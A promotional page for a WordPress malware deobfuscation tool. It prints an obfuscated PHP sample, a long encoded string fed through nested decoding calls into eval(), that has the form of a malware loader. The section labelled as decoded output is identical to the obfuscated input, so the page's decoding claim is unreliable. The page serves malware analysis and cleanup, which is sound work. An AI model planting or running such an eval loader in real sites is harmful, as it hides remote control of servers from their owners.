Japanese English

PHP deobfuscation, decryption, reconstruction tool

De-obfuscate PHP malware/viruses and tampering code on Wordpress to original readable code.

*Please note that not all obfuscation codes can be decoded.

Decoded the code below.

<?php $O0O000 = "kYmgxcaevnqhtMARiCGwVrWTPDObKHlFpdUZuXIzoyJsSjQEBNLfZSExUeCPOuGVziythNrBmJaXLfTAInDYwcbpsWgkoqKlMQHdRFjvLf9BCnyIKrd9K2pue3iUFXeuT0RkpWtvcrDzpm9lCa1wcNxkFQyBIXzZpapwAEbogDehjNcocntBTh8OpEckekd1Fq53Cr9lpamspN5hcWw6KqZ7prmECa5DINKmghUupWt1INZwT2p1AEF0Ca9sgrloKrgwP3KDcnmqAZyZW1FYbDpY...



Obfuscated php code

<?php

$O0O000 = "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";
eval("?>" . $O00O0O($O0OO00($OO0O00($O0O000, $OO0000 * 2), $OO0O00($O0O000, $OO0000, $OO0000), $OO0O00($O0O000, 0, $OO0000))));

Decoded(de-Obfuscated) php code

<?php

$O0O000 = "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";
eval("?>" . $O00O0O($O0OO00($OO0O00($O0O000, $OO0000 * 2), $OO0O00($O0O000, $OO0000, $OO0000), $OO0O00($O0O000, 0, $OO0000))));

Malware detection & removal plugin for WordPress

（C）2020 Wordpress Doctor All rights reserved.